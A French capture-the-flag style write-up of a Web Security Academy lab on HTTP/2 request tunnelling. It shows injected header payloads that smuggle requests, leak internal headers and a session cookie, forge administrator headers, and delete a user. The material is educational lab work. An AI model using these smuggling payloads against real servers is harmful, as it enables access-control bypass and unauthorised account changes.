Bypass des contrôles d’accès via le tunneling HTTP/2

Bypassing access controls via HTTP/2 request tunnelling

Lab: Bypassing access controls via HTTP/2 request tunnelling | Web Security AcademyWebSecAcademy

Description du laboratoire

Ce laboratoire est vulnérable au request smuggling car le serveur frontal rétrograde les requêtes HTTP/2 en HTTP/1 tout en assainissant mal les noms d’en-têtes entrants. Pour résoudre le labo, il faut accéder au panneau d’administration situé à /admin en tant qu’administrateur, puis supprimer l’utilisateur carlos.

Le serveur frontal ne réutilise pas la connexion avec le serveur interne : il n’est donc pas vulnérable aux attaques classiques de request smuggling. En revanche, il reste exposé au tunneling HTTP/2.

Étude du comportement du serveur

On commence par insérer un en-tête personnalisé, par exemple :

Name:

Test: Testing

Host: jord4n.pro

Value:

Value:

value

Le serveur renvoie alors une erreur, indiquant que l’en-tête est injectable.

Ensuite, si l’on place dans le moteur de recherche quelque chose comme :

Name

Test: testing

Content-Length: 100



search=testing

le serveur frontal se retrouve confus à cause de cet en-tête supplémentaire. En augmentant le Content-Length à environ 150, on observe que le serveur renvoie des en-têtes internes :

cookie: session=hGFEdnaCHTLJR2gv68Qj600nBECAmCeL

X-SSL-VERIFIED: 0

X-SSL-CLIENT-CN: null

X-FRONTEND-KEY: 7732064356452682

Construction de la requête tunnelisée

On injecte maintenant une nouvelle séquence d’en-têtes :

Test: testing



GET /admin HTTP/1.1

Host: 0a4d00060452b3308271d30100b100ec.web-security-academy.net

X-SSL-VERIFIED: 1

X-SSL-CLIENT-CN: administrator

X-FRONTEND-KEY: 7732064356452682

Pour permettre au tunneling de fonctionner correctement, on place la bonne méthode (HEAD ou GET selon le cas) ainsi que la route souhaitée.

On accède alors au panneau d’administration, où apparaissent les utilisateurs wiener et carlos.

Suppression de l’utilisateur

La suppression se fait en envoyant une requête tunnelisée similaire :

Test: testing



GET /admin/delete?username=carlos HTTP/1.1

Host: 0a4d00060452b3308271d30100b100ec.web-security-academy.net

X-SSL-VERIFIED: 1

X-SSL-CLIENT-CN: administrator

X-FRONTEND-KEY: 7732064356452682